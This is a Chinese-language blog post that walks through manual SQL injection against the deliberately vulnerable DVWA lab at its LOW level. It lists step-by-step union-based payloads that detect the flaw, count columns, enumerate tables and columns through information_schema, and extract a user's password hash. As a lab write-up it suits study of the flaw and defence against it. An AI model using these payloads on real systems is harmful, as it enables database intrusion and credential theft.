DVWA攻击记录 LOW级别 SQL手工注入重现漏洞危害
前言>>>>在攻击开始前,我们至少要具备操作mysql的一些简单语句,否则可能此文章对阅读者的你存在困难,有朋友问这都什么年代了还会存在sql注入?其实做这个的时候是因为昨天我编写代码的时候写出了一个sql注入并且在上线的时候被朋友挖掘了出来,漏洞图如下,就因为我的一次逻辑判断错误而导致,所以今天想起了写一次sql注入的文章。
1.分析源码
通过源码可以发现他并没有进行任何的参数过滤而是直接的把数据带入数据库进行查询,分析sql查询语句,可能存在字符型sql注入
2.判读sql是否存在注入,以及注入类型
语句 1' and ' 1' = ' 1 进行了字符拼接
默认语句为: select first_name,last_name from users where user_id=' $id'
语句为select first_name,last_name from users where user_id=' 1' and ' 1' = ' 1
语句回显正常表示存在sql注入
因为他没有过滤任何字符串我们修改了原有的$id这个变量传入的值,构建成为一个新的语句
3.猜解sql查询语句中的字段数
回显正常,那么表示他至少有2个字段,继续猜测表段
1' order by 3#
从上面2张图可以看出,这个表提供的可查询字段数为2,order by 他在mysql中起了排序的作用,他可以是指定的字段名或者是字段的第几个,我们在这里选用的通过第几个字段进行排序
4.确定显示的位置(sql语句查询后的回显位置)
1' union select 1,2#
5.获取当前数据库的名称以及版本号
1' union select database(),version()
可以看到返回的数据库名称是dvwa这个库 数据库版本号为5.5.53
6.获取数据库中的所有表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#
7.获取数据库中的所有字段
1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
8.获取数据库中字段数据
通过我刚刚获取的字段,进行查询获取密码 这条命令可以获取id为1的账号密码
1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 union select user,password from users where user_id =1 #
1' union select user,password from users where user_id =1 #
9.攻击总结
有时候手动注入需要注释掉原sql语句的’ 可以通过 – 或者 # (攻击思路)
用户的数据是不可信的,坚信这一点我们就会避免很多被入侵的机会。
码字不易,转载请附带我的原创链接